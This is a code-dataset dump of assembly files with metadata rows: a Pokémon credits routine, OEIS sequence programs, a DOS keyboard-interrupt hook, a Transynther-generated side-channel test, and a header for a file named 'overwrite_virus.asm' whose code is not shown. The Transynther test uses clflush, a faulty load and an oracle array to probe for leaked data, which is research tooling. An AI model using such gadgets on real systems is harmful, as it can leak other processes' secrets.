ld [wHoFMonSpecies], a
ld [wNumCreditsMonsDisplayed], a
jp Credits
FadeInCreditsText:
ld a, 1
ld [H_AUTOBGTRANSFERENABLED], a
ld hl, HoFGBPalettes
ld b, 4
.loop
ld a, [hli]
ld [rBGP], a
call UpdateGBCPal_BGP
ld c, 5
call DelayFrames
dec b
jr nz, .loop
ret
HoFGBPalettes:
db %11000000
db %11010000
db %11100000
db %11110000
DisplayCreditsMon:
ld hl, vBGMap1
call CreditsCopyTileMapToVRAM
xor a
ld [H_AUTOBGTRANSFERENABLED], a
ld hl, rLCDC
set 3, [hl]
call SaveScreenTilesToBuffer2
call FillMiddleOfScreenWithWhite
call GetNextCreditsMon
ld hl, vBGMap0 + 12
call CreditsCopyTileMapToVRAM
xor a
ld [H_AUTOBGTRANSFERENABLED], a
call LoadScreenTilesFromBuffer2DisableBGTransfer
ld hl, vBGMap0
call CreditsCopyTileMapToVRAM
ld a, %11111100 ; make the mon a black silhouette
ld [rBGP], a
call UpdateGBCPal_BGP
ld hl, rLCDC
res 3, [hl]
ld a, 1
ld [H_AUTOBGTRANSFERENABLED], a
ld b, 0
ld c, 10
call ScrollCreditsMonLeft
call FillLeftHalfOfScreenWithWhite
ld c, 10
call ScrollCreditsMonLeft
call FillRightHalfOfScreenWithWhite
ld c, 8
call ScrollCreditsMonLeft
ld a, %11000000
ld [rBGP], a
call UpdateGBCPal_BGP
xor a
ld [hSCX], a
ret
ScrollCreditsMonLeft:
ld a, b
ld [hSCX], a
add 8
ld b, a
call DelayFrame
dec c
jr nz, ScrollCreditsMonLeft
ret
GetNextCreditsMon:
ld hl, wNumCreditsMonsDisplayed
ld c, [hl]
inc [hl]
ld b, 0
ld hl, CreditsMons
add hl, bc
ld a, [hl]
ld [wcf91], a
ld [wd0b5], a
coord hl, 8, 6
call GetMonHeader
call LoadFrontSpriteByMonIndex
ret
INCLUDE "data/credit_mons.asm"
CreditsCopyTileMapToVRAM:
ld a, l
ld [H_AUTOBGTRANSFERDEST], a
ld a, h
ld [H_AUTOBGTRANSFERDEST + 1], a
ld a, 1
ld [H_AUTOBGTRANSFERENABLED], a
jp Delay3
CreditsLoadFont:
call LoadFontTilePatterns
ld hl, vChars1
ld bc, $40 * $10
call ZeroMemory
call LoadTextBoxTilePatterns
ld hl, vChars2 + $60 * $10
ld bc, $10 * $10
call ZeroMemory
ld hl, vChars2 + $7e * $10
ld bc, $1 * $10
ld a, $ff
call FillMemory
ret
ZeroMemory:
; zero bc bytes at hl
ld [hl], 0
inc hl
inc hl
dec bc
ld a, b
or c
jr nz, ZeroMemory
ret
FillFourRowsWithBlack:
ld bc, SCREEN_WIDTH * 4
ld a, $7e
jp FillMemory
FillMiddleOfScreenWithWhite:
coord hl, 0, 4
ld bc, SCREEN_WIDTH * 10
ld a, " "
jp FillMemory
FillLeftHalfOfScreenWithWhite:
coord hl, 0, 4
push bc
call FillHalfOfScreenWithWhite
pop bc
ret
FillRightHalfOfScreenWithWhite:
coord hl, 10, 4
push bc
call FillHalfOfScreenWithWhite
pop bc
ret
FillHalfOfScreenWithWhite:
ld b, 10
ld c, 10
ld a, " "
.loop
push bc
push hl
.innerLoop
ld [hli], a
dec c
jr nz, .innerLoop
pop hl
ld bc, SCREEN_WIDTH
add hl, bc
pop bc
dec b
jr nz, .loop
ret
Credits: ; Roll credits
ld de, CreditsOrder
push de
.nextCreditsScreen
pop de
coord hl, 9, 6
push hl
call FillMiddleOfScreenWithWhite
pop hl
.nextCreditsCommand
ld a, [de]
inc de
push de
cp $ff
jr z, .fadeInTextAndShowMon
cp $fe
jr z, .showTextAndShowMon
cp $fd
jr z, .fadeInText
cp $fc
jr z, .showText
cp $fb
jr z, .showCopyrightText
cp $fa
jr z, .showTheEnd
call PlaceCreditsText
pop de
jr .nextCreditsCommand
.showCopyrightText
callba LoadCopyrightTiles
pop de
jr .nextCreditsCommand
.fadeInTextAndShowMon
call FadeInCreditsText
ld c, 102
jr .next1
.showTextAndShowMon
ld c, 122
.next1
call DelayFrames
call DisplayCreditsMon
jr .nextCreditsScreen
.fadeInText
call FadeInCreditsText
ld c, 132
jr .next2
.showText
ld c, 152
.next2
call DelayFrames
jr .nextCreditsScreen
.showTheEnd
call ShowTheEndGFX
pop de
ret
ShowTheEndGFX:
ld c, 24
call DelayFrames
call FillMiddleOfScreenWithWhite
ld de, TheEndGfx
ld hl, vChars2 + $600
lb bc, BANK(TheEndGfx), (TheEndGfxEnd - TheEndGfx) / $10
call CopyVideoData
coord hl, 4, 8
ld de, TheEndTextString
call PlaceString
coord hl, 4, 9
inc de
call PlaceString
jp FadeInCreditsText
TheEndTextString:
; "T H E E N D"
db $60, " ", $62, " ", $64, " ", $64, " ", $66, " ", $68, "@"
db $61, " ", $63, " ", $65, " ", $65, " ", $67, " ", $69, "@"
PlaceCreditsText:
push hl
push hl
ld hl, CreditsTextPointers
ld c, a
ld b, 0
add hl, bc
add hl, bc
ld e, [hl]
inc hl
ld d, [hl]
pop hl
ld a, [de]
inc de
ld c, a
ld b, $ff
add hl, bc
call PlaceString
pop hl
ld bc, SCREEN_WIDTH * 2
add hl, bc
ret
INCLUDE "data/credits_order.asm"
INCLUDE "text/credits_text.asm"
TheEndGfx: ; 7473e (1d:473e) (7473f on blue)
INCBIN "gfx/theend.interleave.2bpp"
TheEndGfxEnd:
| 15.694444 | 63 | 0.714848 |
c2b4731136d5bbf994b81e34a94f88707639c4d3 | 1,786 | asm | Assembly | programs/oeis/202/A202195.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/202/A202195.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/202/A202195.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A202195: Number of (n+2) X 3 binary arrays avoiding patterns 001 and 101 in rows and columns.
; 108,240,450,756,1176,1728,2430,3300,4356,5616,7098,8820,10800,13056,15606,18468,21660,25200,29106,33396,38088,43200,48750,54756,61236,68208,75690,83700,92256,101376,111078,121380,132300,143856,156066,168948,182520,196800,211806,227556,244068,261360,279450,298356,318096,338688,360150,382500,405756,429936,455058,481140,508200,536256,565326,595428,626580,658800,692106,726516,762048,798720,836550,875556,915756,957168,999810,1043700,1088856,1135296,1183038,1232100,1282500,1334256,1387386,1441908,1497840,1555200,1614006,1674276,1736028,1799280,1864050,1930356,1998216,2067648,2138670,2211300,2285556,2361456,2439018,2518260,2599200,2681856,2766246,2852388,2940300,3030000,3121506,3214836,3310008,3407040,3505950,3606756,3709476,3814128,3920730,4029300,4139856,4252416,4366998,4483620,4602300,4723056,4845906,4970868,5097960,5227200,5358606,5492196,5627988,5766000,5906250,6048756,6193536,6340608,6489990,6641700,6795756,6952176,7110978,7272180,7435800,7601856,7770366,7941348,8114820,8290800,8469306,8650356,8833968,9020160,9208950,9400356,9594396,9791088,9990450,10192500,10397256,10604736,10814958,11027940,11243700,11462256,11683626,11907828,12134880,12364800,12597606,12833316,13071948,13313520,13558050,13805556,14056056,14309568,14566110,14825700,15088356,15354096,15622938,15894900,16170000,16448256,16729686,17014308,17302140,17593200,17887506,18185076,18485928,18790080,19097550,19408356,19722516,20040048,20360970,20685300,21013056,21344256,21678918,22017060,22358700,22703856,23052546,23404788,23760600,24120000,24483006,24849636,25219908,25593840,25971450,26352756,26737776,27126528,27519030,27915300,28315356,28719216
add $0,4
mov $1,$0
bin $0,2
sub $1,1
mul $1,$0
mul $1,6
| 178.6 | 1,632 | 0.852744 |
855e5ce174c2a5fbb74aebca6550e6eddd492b76 | 703 | asm | Assembly | oeis/094/A094556.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/094/A094556.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/094/A094556.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A094556: Number of walks of length n between opposite vertices on a triangular prism.
; Submitted by Jamie Morken(s1)
; 0,1,0,7,8,51,100,407,1008,3451,9500,30207,87208,268451,791700,2402407,7152608,21567051,64482700,193885007,580781208,1744091251,5228778500,15693326007,47065997008,141225953051,423621935100,1270977653407,3812709264008,11438575184451,34314830768500,102946281875207,308835266486208,926512957737451,2779524556654700,8338602303079407,25015749643007608,75047363461484051,225141861319529700,675426042088434007,2026277210005612208,6078833462536216251,18236496722569889500,54709497497787187007
mov $1,$0
min $0,1
sub $0,3
pow $0,$1
mov $2,3
pow $2,$1
sub $2,$0
sub $2,$0
mov $0,$2
div $0,6
| 46.866667 | 485 | 0.830725 |
c85d20824c236407e66327f3510197373e3f2c0e | 1,253 | asm | Assembly | 汇编语言/第15章/155.asm | jckling/only-python | 9600d798889dfc38b8ecd65abd26e4ce657910d9 | [
"MIT"
] | 1 | 2019-10-12T01:09:15.000Z | 2019-10-12T01:09:15.000Z | 汇编语言/第15章/155.asm | jckling/only-python | 9600d798889dfc38b8ecd65abd26e4ce657910d9 | [
"MIT"
] | null | null | null | 汇编语言/第15章/155.asm | jckling/only-python | 9600d798889dfc38b8ecd65abd26e4ce657910d9 | [
"MIT"
] | 1 | 2019-10-12T01:10:13.000Z | 2019-10-12T01:10:13.000Z | ;按F1改变屏幕颜色
assume cs:code
stack segment
db 128 dup(0) ;栈段
stack ends
code segment
start:
mov ax,stack
mov ss,ax
mov sp,128 ;栈指针
push cs
pop ds
mov ax,0
mov es,ax ;中断向量表起始位置
mov si,offset int9 ;设置ds:si指向源地址
mov di,204h ;设置es:di指向目的地址,将新的int9安装在0:204处
mov cx,offset int9end-offset int9 ;设置cx为传输长度
cld ;设置传输方向为正
rep movsb ;循环传输
push es:[9*4]
pop es:[200h]
push es:[9*4+2]
pop es:[202h] ;将原来的int 9中断例程的入口地址保存在(IP)0:200,(CS)0:202处
cli ;设置IF=0,禁止其他的可屏蔽中断
mov word ptr es:[9*4],204h
mov word ptr es:[9*4+2],0 ;设置int 9中断例程的入口为0:204
sti ;设置IF=1,处理可屏蔽中断
mov ax,4c00h
int 21h
int9:
push ax ;保护现场
push bx
push cx
push es
in al,60h ;读取键盘输入
pushf ;标志寄存器入栈
call dword ptr cs:[200h] ;当次中断例程执行时(CS)=0
cmp al,3bh ;F1的扫描码(通码)为9eh
jne int9ret ;不等于F1的通码则返回
mov ax,0b800h ;屏幕上第一个字符起始位置
mov es,ax
mov bx,1
mov cx,2000 ;循环次数,80*25
s:
inc byte ptr es:[bx] ;改变颜色
add bx,2
loop s
int9ret:
pop es ;还原现场
pop cx
pop bx
pop ax
iret ;返回
int9end:
nop
code ends
end start
| 16.932432 | 69 | 0.554669 |
9d3b24defa4cd63bbebb33660b3e7647606910b0 | 147 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_NES/N_F_asm/zel_init.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_NES/N_F_asm/zel_init.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_NES/N_F_asm/zel_init.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: zel_init.asm
Type: file
Size: 280706
Last-Modified: '2016-05-13T04:22:15Z'
SHA-1: B632D5F4BB7048FBB654A66D69347115C0E1D5D2
Description: null
| 21 | 47 | 0.816327 |
691733e5c7bd90371a9f1ae55fca50d5f4cc8f4f | 7,801 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_12339_1270.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_12339_1270.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_12339_1270.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x144ee, %r13
nop
nop
nop
nop
lfence
mov $0x6162636465666768, %r8
movq %r8, %xmm1
and $0xffffffffffffffc0, %r13
movntdq %xmm1, (%r13)
nop
nop
nop
sub $51139, %rdi
lea addresses_A_ht+0x149d8, %rsi
lea addresses_UC_ht+0x8f2a, %rdi
nop
nop
add %r12, %r12
mov $45, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0xb1d8, %rcx
sub %rdi, %rdi
mov $0x6162636465666768, %r12
movq %r12, %xmm1
movups %xmm1, (%rcx)
nop
nop
sub $55756, %rsi
lea addresses_normal_ht+0x195d8, %r13
nop
nop
nop
nop
nop
cmp %rcx, %rcx
movb $0x61, (%r13)
inc %rcx
lea addresses_WC_ht+0x1e0d8, %rsi
lea addresses_normal_ht+0xe562, %rdi
nop
nop
nop
nop
cmp %rax, %rax
mov $78, %rcx
rep movsq
nop
nop
nop
nop
nop
inc %r14
lea addresses_normal_ht+0xdfb8, %rsi
lea addresses_UC_ht+0x1b258, %rdi
cmp %r12, %r12
mov $48, %rcx
rep movsw
nop
cmp $65519, %r8
lea addresses_A_ht+0xf97f, %r12
sub %rdi, %rdi
vmovups (%r12), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %r14
nop
add $46638, %rsi
lea addresses_A_ht+0x1b258, %rdi
nop
nop
nop
cmp $21916, %rsi
mov $0x6162636465666768, %r14
movq %r14, (%rdi)
nop
add %r14, %r14
lea addresses_D_ht+0xa780, %rsi
nop
nop
nop
dec %r14
movb (%rsi), %r12b
nop
nop
nop
and %r12, %r12
lea addresses_UC_ht+0x1c9d8, %rdi
clflush (%rdi)
nop
nop
and $31972, %r14
mov (%rdi), %r8d
nop
nop
add %rax, %rax
lea addresses_normal_ht+0xff58, %r12
nop
nop
nop
xor $57901, %rax
mov (%r12), %r13
nop
nop
nop
nop
nop
add $20905, %rsi
lea addresses_D_ht+0xc158, %r14
nop
nop
cmp $43367, %rcx
mov $0x6162636465666768, %rax
movq %rax, %xmm0
movups %xmm0, (%r14)
nop
nop
nop
nop
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %r9
push %rbx
push %rdi
// Store
lea addresses_WT+0x5857, %rbx
nop
nop
nop
nop
nop
and $37435, %r12
mov $0x5152535455565758, %r9
movq %r9, (%rbx)
nop
nop
nop
nop
inc %r9
// Store
mov $0x8d8, %r15
nop
sub %rdi, %rdi
movw $0x5152, (%r15)
nop
nop
nop
nop
nop
dec %rdi
// Store
lea addresses_D+0x178d8, %r14
nop
nop
nop
nop
nop
and %r12, %r12
movb $0x51, (%r14)
nop
nop
nop
xor %rbx, %rbx
// Faulty Load
lea addresses_WC+0x199d8, %r9
clflush (%r9)
sub %rbx, %rbx
mov (%r9), %edi
lea oracles, %r15
and $0xff, %rdi
shlq $12, %rdi
mov (%r15,%rdi,1), %rdi
pop %rdi
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'00': 12339}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 32.369295 | 2,999 | 0.656326 |
f95c83c32549d2f063abea23959105d58c2e8865 | 1,714 | asm | Assembly | programs/oeis/104/A104777.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/104/A104777.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/104/A104777.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A104777: Integer squares congruent to 1 mod 6.
; 1,25,49,121,169,289,361,529,625,841,961,1225,1369,1681,1849,2209,2401,2809,3025,3481,3721,4225,4489,5041,5329,5929,6241,6889,7225,7921,8281,9025,9409,10201,10609,11449,11881,12769,13225,14161,14641,15625,16129,17161,17689,18769,19321,20449,21025,22201,22801,24025,24649,25921,26569,27889,28561,29929,30625,32041,32761,34225,34969,36481,37249,38809,39601,41209,42025,43681,44521,46225,47089,48841,49729,51529,52441,54289,55225,57121,58081,60025,61009,63001,64009,66049,67081,69169,70225,72361,73441,75625,76729,78961,80089,82369,83521,85849,87025,89401,90601,93025,94249,96721,97969,100489,101761,104329,105625,108241,109561,112225,113569,116281,117649,120409,121801,124609,126025,128881,130321,133225,134689,137641,139129,142129,143641,146689,148225,151321,152881,156025,157609,160801,162409,165649,167281,170569,172225,175561,177241,180625,182329,185761,187489,190969,192721,196249,198025,201601,203401,207025,208849,212521,214369,218089,219961,223729,225625,229441,231361,235225,237169,241081,243049,247009,249001,253009,255025,259081,261121,265225,267289,271441,273529,277729,279841,284089,286225,290521,292681,297025,299209,303601,305809,310249,312481,316969,319225,323761,326041,330625,332929,337561,339889,344569,346921,351649,354025,358801,361201,366025,368449,373321,375769,380689,383161,388129,390625,395641,398161,403225,405769,410881,413449,418609,421201,426409,429025,434281,436921,442225,444889,450241,452929,458329,461041,466489,469225,474721,477481,483025,485809,491401,494209,499849,502681,508369,511225,516961,519841,525625,528529,534361,537289,543169,546121,552049,555025,561001
mul $0,3
add $0,3
div $0,2
mov $1,$0
sub $1,1
add $1,$0
pow $1,2
| 155.818182 | 1,598 | 0.827888 |
def97edbbfca7b55076f3ef8db3c003cc8d3ba21 | 482 | asm | Assembly | src/palettetest.asm | ceanrim/CarmiNES | f0f20b95dba916893b4c4eb41f4b15e4fd075df1 | [
"BSD-2-Clause"
] | 2 | 2018-02-15T07:40:35.000Z | 2018-09-22T21:17:33.000Z | src/palettetest.asm | ceanrim/CarmiNES | f0f20b95dba916893b4c4eb41f4b15e4fd075df1 | [
"BSD-2-Clause"
] | null | null | null | src/palettetest.asm | ceanrim/CarmiNES | f0f20b95dba916893b4c4eb41f4b15e4fd075df1 | [
"BSD-2-Clause"
] | null | null | null | ;; To test palette rendering
;; I wrote those files' roms directly in machine code,
;; I'm only providing the source code for completeness but don't expect
;; these to be in any standard format
;; ===========================================================================
;; Mapper: 0
;; CHR ROM: 8K
;; PRG ROM: 16K
.code
$8000: lda #$00
sta $2000
lda #$3f
sta $2006
lda #$00
sta $2006
lda #$05
sta $2007
lda #$08
sta $2007
$8019: jmp $8019
$bffc: .data $00, $80
| 21.909091 | 79 | 0.543568 |
8d9720cf3705fcd1eb27f46385edf19eec5a9319 | 315 | asm | Assembly | programs/oeis/269/A269352.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/269/A269352.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/269/A269352.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A269352: Kolakoski-(1,10) sequence: a(n) is length of n-th run.
; 1,10,10,10,10,10,10,10,10,10,10,1,1,1,1,1,1,1,1,1,1,10,10,10,10,10,10,10,10,10,10,1,1,1,1,1,1,1,1,1,1,10,10,10,10,10,10,10,10,10,10,1,1,1,1,1,1,1,1,1,1,10,10,10,10,10,10,10,10,10,10,1,1,1
add $0,909
mov $1,$0
div $1,10
mod $1,2
mul $1,9
add $1,1
| 31.5 | 189 | 0.609524 |
cda43a06e27c98c9b7ad73348c3324ced0a5d63c | 392 | asm | Assembly | MEMZ/NyanMBR/Source/Stage2/Animation/Image/drawNormalFrame.asm | johnmelodyme/viruses | c8c4b628a6ae725a45312b4365fa8a6876509706 | [
"BSD-2-Clause"
] | 4 | 2018-11-15T08:23:06.000Z | 2019-04-29T13:30:44.000Z | MEMZ/NyanMBR/Source/Stage2/Animation/Image/drawNormalFrame.asm | johnmelodyme/Viruses | c8c4b628a6ae725a45312b4365fa8a6876509706 | [
"BSD-2-Clause"
] | null | null | null | MEMZ/NyanMBR/Source/Stage2/Animation/Image/drawNormalFrame.asm | johnmelodyme/Viruses | c8c4b628a6ae725a45312b4365fa8a6876509706 | [
"BSD-2-Clause"
] | 2 | 2019-02-13T19:53:26.000Z | 2021-05-30T19:04:43.000Z | drawNormalFrame:
push es
push 0xb800
pop es
mov ax, [nyanTimeBin]
mov dx, 0
mov bx, 10
div bx
cmp ax, 420
jne .displayFrame
; At 420 secs, show a special image
mov si, special
; Display the frame
.displayFrame:
mov di, 1 ; Offset one byte
mov cx, frameSize
.draw:
lodsb
stosb
inc di
loop .draw
mov [frameIndex], si
.end:
pop es
ret
| 11.878788 | 36 | 0.622449 |
91227206270536c6b3cebca22347ca41d0640fb9 | 311 | asm | Assembly | programs/oeis/047/A047589.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/047/A047589.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/047/A047589.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A047589: Numbers that are congruent to {6, 7} mod 8.
; 6,7,14,15,22,23,30,31,38,39,46,47,54,55,62,63,70,71,78,79,86,87,94,95,102,103,110,111,118,119,126,127,134,135,142,143,150,151,158,159,166,167,174,175,182,183,190,191,198,199,206,207,214,215,222,223,230,231
mov $1,$0
div $0,2
mul $0,6
add $1,$0
add $1,6
| 34.555556 | 207 | 0.678457 |
1a3da621b53b3078df441216c6853b8d432ab8e2 | 1,092 | asm | Assembly | extras/overwrite_virus.asm | roguematter/malware-csg513 | 959ecdfad5efc8c95fd7143ef243fc07366f29e8 | [
"CC0-1.0"
] | null | null | null | extras/overwrite_virus.asm | roguematter/malware-csg513 | 959ecdfad5efc8c95fd7143ef243fc07366f29e8 | [
"CC0-1.0"
